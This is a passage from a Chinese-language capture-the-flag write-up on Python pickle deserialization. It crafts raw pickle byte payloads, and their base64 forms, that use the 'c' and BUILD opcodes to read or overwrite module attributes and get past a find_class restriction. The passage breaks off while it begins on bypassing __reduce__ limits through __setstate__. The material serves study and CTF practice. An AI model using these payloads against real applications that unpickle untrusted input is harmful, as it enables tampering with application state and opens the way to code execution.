要求我们输入待反序列化的数据,使得反序列化之后为person类的一个对象me,如果me.name与me.age分别等于otherpeople模板的name和age,才能得到flag。如果把刚才的序列化数据中的LH和20改成模板中的Dr.liu和21则能实现:
第二个hex码对应是字符串的长度,十六进制的14对应为十进制20
但是此时我们并不知道otherpeople模板的内容,所以并不能实现。
根据前面的例子可知,引用模块在pickle中对应的操作码是c,所以可以根据其书写规则得到otherpeople.name和otherpeople.age对应的序列化数据是cotherpeople\nname\n和cotherpeople\nage\n,将原数据进行替换:
再对替换的结果进行base64编码:
>>>import base64 >>>base64.b64encode(b'\x80\x03c__main__\nperson\n)\x81}(X\x04\x00\x00\x00namecotherpeople\nname\nX\x03\x00\x00\x00agecotherpeople\nage\nub.') >>>b'gANjX19tYWluX18KcGVyc29uCimBfShYBAAAAG5hbWVjb3RoZXJwZW9wbGUKbmFtZQpYAwAAAGFnZWNvdGhlcnBlb3BsZQphZ2UKdWIu'验证:
限制modulepickle源码中,c指令是基于find_class这个方法实现的,然而find_class可以被出题人重写。如果出题人只允许c指令包含__main__这一个module、不允许导入其他module,也即刚才的cotherpeople被限制了。此时又该如何绕过呢?
回到刚才的测试代码的运行结果,发现pickle是构建person的过程是完全可视的,而且是在__main__这个module进行构建的:
那么就可以根据pickle语法,插入一段数据,这段数据用于在__main__中构建一个otherpeople对象,此时otherpeople.name和otherpeople.age也是可控的,这样我们就可以覆盖掉原本未知的Dr.liu和21,只需确保和person.name和person.age相等即可。
先放出示意图:
解释一下恶意插入的序列化数据:
b'c__main__\notherpeople\n}(Vname\nVsunxiaokong\nVage\nK\x16ub0'1、首先类比构建person对象时的语法:c__main__\notherpeople\n}
2、接下去(操作码表示将压入一个元组到栈中,V操作码表示跟在它后面的数据是一个字符串,K操作码表示跟在它后面的数据是一个整型数字,Vname\nVsunxiaokong\nVage\nK\x16表示的元组为:{'name':'sunxiaokong','age':22}
3、然后u操作码规定了即将构建的对象的界限,b操作码用于构造对象
4、0操作码将该对象(栈顶元素)从栈弹出
经过上面的操作此时otherpeople.name='sunxiaokong'、otherpeople.age=22,因此后半段person中相应的属性也应该改成相同的值:
X\x04\x00\x00\x00nameX\x0b\x00\x00\x00sunxiaokongX\x03\x00\x00\x00ageK\x16验证:
>>>base64.b64encode(b'\x80\x03c__main__\notherpeople\n}(Vname\nVsunxiaokong\nVage\nK\x16ub0c__main__\nperson\n)\x81}(X\x04\x00\x00\x00nameX\x0b\x00\x00\x00sunxiaokongX\x03\x00\x00\x00ageK\x16ub.') b'gANjX19tYWluX18Kb3RoZXJwZW9wbGUKfShWbmFtZQpWc3VueGlhb2tvbmcKVmFnZQpLFnViMGNfX21haW5fXwpwZXJzb24KKYF9KFgEAAAAbmFtZVgLAAAAc3VueGlhb2tvbmdYAwAAAGFnZUsWdWIu'以上思路也是“2020高校战疫”webtmp的解题思路
限制__reduce()__如果限制__reduce()__,需要另外一个知识点:
关注操作码b:
跟进到load_build函数:
def load_build(self): stack = self.stack state = stack.pop() inst = stack[-1] setstate = getattr(inst, "__setstate__", None) #获取inst的__setstate__方法 if setstate is not None: setstate(state) return slotstate = None if isinstance(state, tuple) and len(state) == 2: state, slotstate = state if state: inst_dict = inst.__dict__ intern = sys.intern for k, v in state.items(): if type(k) is str: inst_dict[intern(k)] = v else: inst_dict[k] = v if slotstate: for k, v in slotstate.items(): setattr(inst, k, v) dispatch[BUILD[0]] = load_build把当前栈栈顶数据记为state,然后弹出,再把接下去的栈顶数据记为inst